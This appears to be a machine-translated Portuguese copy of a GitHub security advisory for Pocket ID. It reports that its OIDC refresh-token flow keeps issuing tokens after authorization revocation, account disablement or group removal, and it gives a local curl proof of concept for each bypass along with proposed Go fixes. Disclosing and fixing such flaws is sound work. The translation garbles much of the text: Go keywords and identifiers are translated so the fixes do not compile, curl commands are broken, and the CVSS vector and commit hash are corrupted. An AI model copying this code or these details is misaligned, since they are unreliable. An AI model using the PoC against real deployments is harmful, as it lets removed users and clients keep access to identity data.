# OIDC atualiza o fluxo de tokens através da revogação da autorização, desativação da conta e restrições de grupo A função `crearTokenFromRefreshToken` (oidc_service.go: 451 ) valida a integridade criptográfica do token de atualização, mas não revalida o estado de autorização atual do usuário antes de emitir novos tokens. Isto permite três bypass: 1 **Contorno de revogação da autorização**: Após um usuário revogar a autorização de um cliente OIDC, o cliente pode continuar a refrescar os símbolos indefinidamente porque o `RetroverCliente Autorizado' não exclui os símbolos de atualização associados, e o fluxo de atualização não verifica se o registro de autorização ainda existe. 2 **Contorno do usuário desativado**: Depois de um administrador desativar uma conta de usuário, os tokens de atualização pré- existentes continuam a funcionar porque o endpoint do token OIDC não verifica `user.Disabled`. O acesso baseado em sessão é devidamente bloqueado por intermediário de auth, mas o caminho de atualização OIDC o contorna completamente. 3 **Contorno de restrição de grupo**: Após remover um usuário dos grupos de usuários permitidos por um cliente da OIDC, o token de atualização continua a funcionar porque `crearToken FromRefreshToken` não chama `IsUserGroupPermitedToAuthorize'.

Cada atualização gira o símbolo com um novo 30 - caducidade do dia, habilitando o acesso perpétuo. - **Repository**: pocket-id/ pocket-id - **Versão**: HEAD ( 626 Adbf), também afeta v 2.5.0 e todas as versões com suporte de token de atualização `CriateToken FromRefreshToken` (oidc_service.go: 451 - 547 ) realiza as seguintes verificações em um pedido de atualização: 1. Verificar o símbolo de atualização assinado JWT (linha 457 ) -- ** verificado** 2. Verificar credenciais do cliente (linha) 467 ) -- ** verificado** 3. Procurar o token de atualização armazenado por hash, caducidade, user_id, client_id (linha 478 - 495 ) -- ** verificado** 4. Verificar o token de atualização pertence ao cliente requerente (linha 498 ) -- ** verificado** Ele não verifica: - Se um registro `UserAuthorizedOidcClient` ainda existe para o par usuário-cliente -- **MISSING** - Se `User.Disabled` é falso -- **MISSING** - Se `IsUserGroupPermitedToAuthorize` passa para clientes restritos por grupo -- **MISSING** (os grupos são carregados na linha 481 via `Preload("User.UserGroups")`, mas nunca validado).

Enquanto isso, ` Retrouver oCliente Autorizado` (linha 1445 - 1471 ) somente exclui o registro `UserAuthorizedOidcClient`. Ele não exclui registros associados ao `OidcRefreshToken`. Não há cascata de FK entre estas tabelas (a cascata de FK no `oidc_refresh_tokens` está apenas no usuário DELETE e no cliente DELETE, não na exclusão de registro de autorização). ## Prova de Conceito (Vivo Verificado). Testado contra a HEAD do ID do Bolseiro ( 626 adbf) executando no Docker com e 2 mais etest build. Todos 20 as afirmações do teste passam. Variante 1: Revogação da Autorização. ```Bash # Restablecer o teste DB curl -s -X POST 1411 /api/test/reset?skip-ldap=true # Autenticar como Tim (utilizador de administração, token OTA semeado) curl -s -c cookies.txt -X POST 1411 /api/ token/HPE de acesso único 6 k 6 uiDRRVuAQV # Autorizar Nextcloud cliente AUTH_CODE=$(curl -s -b cookies.txt -X POST 1411 /api/oidc/autorize \ -H "Tipo de conteúdo: aplicativo/json" \ -d '{"clientId":" 3654 a 746 - 35 d 4 - 4321 - ac 61 - 0 bdcff 2 b 4055 ",, scope":"grupos de email de perfil aberto","callbackURL":" \ Ì python 3 -c "Importa json,sys; print(json.load(sys.stdin)['code']").

# Troca de fichas (incluindo ficha de atualização) TOKENS=$(curl -s -X POST 1411 /api/oidc/token \ -d "grant_type=authorization_code&code=$AUTH_CODE&client_id= 3654 a 746 - 35 d 4 - 4321 - ac 61 - 0 bdcff 2 b 4055 & client_secret=w 2 mUeZISmEvIDMEDvpY 0 PnxQIpj 1 m 3 zY&redirect_uri= REFRESH=$(echo $TOKENS. python 3 -c "importa json,sys; print(json.load(sys.stdin)['refresh_token']") # O usuário revoga a autorização (retornos 204 ) curl -s -o /dev/null -w "% {http_code}" -b cookies.txt \ -X DELETE 1411 /api/ oidc/ users/ me/ authorized- clients/ 3654 a 746 - 35 d 4 - 4321 - ac 61 - 0 bdcff 2 b 4055 # Saída: 204 # ATAQUE: Atualizar o token ainda funciona após a revogação do curl -s -X POST 1411 /api/oidc/token \ -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id= 3654 a 746 - 35 d 4 - 4321 - ac 61 - 0 bdcff 2 b 4055 & client_secret=w 2 mUeZISmEvIDMEDvpY 0 PnxQIpj 1 m 3 zY" # retorna 200 com o novo access_token, id_token (contendo PII), e upgrade_token (novo 30 - dia de caducidade) ``` **Saída em vivo**: Introspeção confirma ` ativo: true`. O token de ID contém: `nome: Tim Cook, e- mail: tim.cook@test.com, grupos: [designers, desenvolvedores]`. Variante 2: Desabilitado Bypass do usuário. ````bash # (Após configuração e obtenção de token de atualização como acima).

# Admin desativa a conta do Tim -s -b cookies.txt -X PUT 1411 /api/ users/ f 4 b 89 dc 2 - 62 FB- 46 bf- 9 f 5 f- c 34 f 4 fácil 93 e \ -H "Tipo de conteúdo: aplicativo/json" \ -d '{"disabled":verdadeiro, "nome de usuário":"tim","email":"tim.cook@test.com","firstName":"Tim","lastName":"Cook","isAdmin":verdadeiro}' # Devolve 200 com desabilitado: true # Acesso à sessão corretamente bloqueado (auth middleware checks Desabilitado) curl -s -o /dev/null -w "% {http_code}" -b cookies.txt 1411 /api/ users/ me # Saída: 401 # ATAQUE: Atualizar o token ainda funciona para o encurvo do usuário deficiente -s -X POST 1411 /api/oidc/token \ -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id= 3654 a 746 - 35 d 4 - 4321 - ac 61 - 0 bdcff 2 b 4055 & client_secret=w 2 mUeZISmEvIDMEDvpY 0 PnxQIpj 1 m 3 zY" # retorna 200 com o conjunto de símbolos completo # Userinfo também funciona para o usuário desabilitado curl -s -H "Autorização: Portador $NOUVEL_ACCESS" 1411 /api/oidc/userinfo # Devolve: {"nome":"Tim Cook","email":"tim.cook@test.com",...} ``` **Impacto**: O interruptor de eliminação do administrador para o terminamento do acesso dos funcionários é completamente evitado. Os tokens de atualização pré- existentes do OIDC de um empregado despedido continuam a conceder acesso a todos os serviços a jusante.

Variante 3: Conexão de restrição de grupo. ```` bash # (Depois da configuração, autorizar o cliente Immich que é restrito ao grupo "designers") # Tim está no grupo de designers, fica autorizado e obtém o token de atualização # Remover Tim do grupo de designers (manter apenas Craig) curl -s -b cookies.txt -X PUT 1411 /api/ user-groups/adab 18 bf- f 89 D- 4087 - 9 ee 1 - 70 ff 15 b 48211 / users \ -H "Tipo de conteúdo: aplicativo/json" -d '{"userIds":[" 1 cd 19686 - f 9 a 6 - 43 f 4 -a 41 f- 14 a 0 bf 5 b 4036 Tim não mais em designers # ATTACK: Renovar o token ainda funciona após remoção do grupo # Retorna 200 com novos símbolos ``` As três variantes compartilham a mesma causa raiz, mas têm implicações diferentes no mundo real: 1 **A revogação da autorização é ineficaz**: os usuários que revogam o acesso de um cliente da OIDC têm uma falsa sensação de segurança. Um cliente malicioso ou comprometido mantém acesso indefinido aos dados de identidade do usuário através de rotação de símbolos. O id_ token emitido durante a atualização contém PII completo (nome, e- mail, grupos, reivindicações personalizadas) independentemente da verificação da autorização do endpoint do usuárioinfo.

2. **A desativação do Conto não termina o acesso ao OIDC**: Esta é a variante de maior gravidade. Quando uma organização termina um funcionário e desativa a sua conta de ID de bolso, todo o acesso baseado em sessão está bloqueado corretamente. Mas qualquer cliente da OIDC que tenha obtido um símbolo de atualização antes da incapacitação continuar a ter acesso completo. Em ambientes empresariais onde o ID de bolso permite o acesso a serviços sensíveis (Git, CI/ CD, infraestrutura), isto cria uma porta traseira persistente. 3 ** O controle de acesso baseado em grupos só é aplicado no momento da autorização**: as restrições do grupo para os clientes OIDC (por exemplo, "somente a equipe de infraestrutura pode acessar o cliente CI/ CD") podem ser evitadas por qualquer pessoa que tenha obtido um sinal de atualização antes de ser removido do grupo. Edição GitHub # 1390 relata um padrão semelhante: os tokens de atualização não são excluídos quando uma sessão termina através do end- session end-end- session. A mesma causa raiz (refresh token lifecycle desligado do estado de autorização), ponto de entrada diferente. ### Resolução primária: Revalidar o estado de autorização na criação do Token FromRefreshToken Adicionar as seguintes verificações após a busca por token de atualização (após a linha 495 ):.

``` go // Verifique 1: Verifique o usuário não está desativado se armazenadoRefreshToken.User.Disabilitado { retorno CriadoTokens{}, & comum.OidcInválidoRefreshTokenError{} } // Verifique 2: Verifique o usuário AutorizadoOidcClient ainda existe var AutorizadoClient model.User AutorizadoOidcClient err = tx.WithContext(ctx). Onde("user_id =? E client_id =?", armazenadoRefreshToken.UserID, input.ClientID). Primeiro (cliente & autorized).Erro se erros.Is( err, gorm.ErrRecordNotFound) { // A autorização foi revogada - excluir este token de atualização e rejeitar o tx.Delete(&storedResholdToken) retornar CriadoTokens{}, &common.OidcInvalidResholdTokenError{} } // Verifique 3: Reverifique restrições de grupo se!IsUserGroupPermitidoAutorizar(storedRefreshToken.User, cliente) { retorno CriadoTokens{}, &common.OidcAccessDeniedError{} } ```` ### Correção secundária: Excluir os tokens de atualização na revogação da autorização. Em `RetrookAutorizedClient`, também excluir todos os tokens de atualização para o par usuário-cliente:.

``` vai // Após a exclusão do registro autorizado do cliente err = tx.WithContext(ctx). Onde("user_id =? E client_id =?", userID, clientID). Excluir(&model.OidcRefreshToken{}).Erro se errar!= nulo { retornar errar } ``` Ambas as correções devem ser aplicadas juntas (defesa em profundidade). - **Isso é um desenho?** Não. A funcionalidade de revogação, a bandeira desativada e as restrições de grupo existem para controlar o acesso. O fluxo de atualização que contorna os três é um erro, não uma funcionalidade. - **Existe limites a montante?** Não. Os símbolos de atualização são armazenados independentemente. Sem cascata FK, sem limpeza periódica, sem validação do estado de autorização. - **Honestos pontos fracos**: - Variante 1 (revocação): O atacante deve ser o operador cliente da OIDC (eles precisam de credenciais de cliente e token de atualização existente). O objetivo de informação do usuário retorna 404 após a revogação, que é uma mitigação parcial. Mas o id_token emitido durante o upgrade já contém todos os PII. - Todas as variantes: requer um token de upgrade pré- existente, por isso o acesso deve ter sido legitimamente concedido em algum momento. - ** Relatórios existentes**: Edição # 1390 cobre o caso relacionado ao final da sessão. Nenhum relatório de segurança prévio para as variantes de revogação/incapacitado/grupo. Registro de aconselhamento: GHSA-w 6 p 7 - 2 fxx- 4 f 44. Identificadores relacionados: CVE- 2026 - 43983.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 28 T 14: 12: 44.000 Z e lista a sua última modificação como 2026 - 07 - 28 T 14: 12: 44.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/África do Sul:N. Software afetado e informações de versão: Vá o pacote github.com/pocket-id/pocket-id/backend — ECOSISTEM: introduzido 0, corrigido 0.0.0 - 20260419162744 - 978 ac 87 Defecação. Classificação e evidência: identificadores de fraqueza CWE- 285, CWE- 613. O registro contém 5 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.